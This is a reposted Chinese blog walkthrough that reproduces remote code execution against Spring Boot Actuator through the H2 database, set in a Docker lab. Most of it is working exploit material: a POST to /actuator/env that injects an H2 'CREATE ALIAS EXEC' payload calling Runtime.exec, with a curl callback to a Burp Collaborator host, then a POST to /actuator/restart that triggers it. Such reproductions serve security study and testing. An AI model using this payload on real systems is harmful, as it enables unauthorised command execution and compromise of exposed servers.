转载

Spring Boot Actuator H2 RCE复现

0x00 前言

Spring Boot框架是最流行的基于Java的微服务框架之一，可帮助开发人员快速轻松地部署Java应用程序，加快开发过程。当Spring Boot Actuator配置不当可能造成多种RCE，本文复现一种通过H2数据库实现RCE的方法。

0x01 环境搭建

(1) 克隆github上的项目

git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git

Spring Boot Actuator H2 RCE复现

(2) 使用docker启动环境

先cd进入spring-boot-actuator-h2-rce目录然后执行以下命令

docker build -t spaceraccoon/spring-boot-rce-lab .
docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab

Spring Boot Actuator H2 RCE复现

(3) 访问: http://192.168.222.143:8080/actuator

Spring Boot Actuator H2 RCE复现

0x02 漏洞复现

（1）发送如下POST包配置spring.datasource.hikari.connection-test-query的值

POST /actuator/env HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 393

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl xfg7urtufj4yfu1t75ztl7q1xs3ir7.burpcollaborator.net');"}

（2）查看/actuator/env

Spring Boot Actuator H2 RCE复现

（3）向端点 /actuator/restart 发送POST请求，重启应用

POST /actuator/restart HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 2

{}

(4) 查看dnslog可以看到成功执行命令收到请求

Spring Boot Actuator H2 RCE复现

原文 http://www.cnblogs.com/cwkiller/p/12829974.html

正文到此结束

所属分类：编程技术 Java

本文标签： value ACE https UI Docker http git 配置 json src shell cat build 部署 cmd 数据库 HTML Connection stream java tar App dataSource 微服务 spring GitHub 开发 Spring Boot 目录 DNS 漏洞 REST IO js 数据
版权声明： 本文为互联网转载文章，出处已在文章中说明(部分除外)。如果侵权，请联系本站长删除，谢谢。
本文海报： 生成海报一生成海报二

其他链接

关于本站

本站定位：个人技术类博客

本站作用：写博客、记日志、闲聊扯淡鼓捣技术。

问题交流

Spring Boot Actuator H2 RCE复现

0x00 前言

0x01 环境搭建

0x02 漏洞复现

热门推荐

相关文章

说给你听

本文目录

随机标签

书籍教程

近期评论

网站信息

其他链接

关于本站

问题交流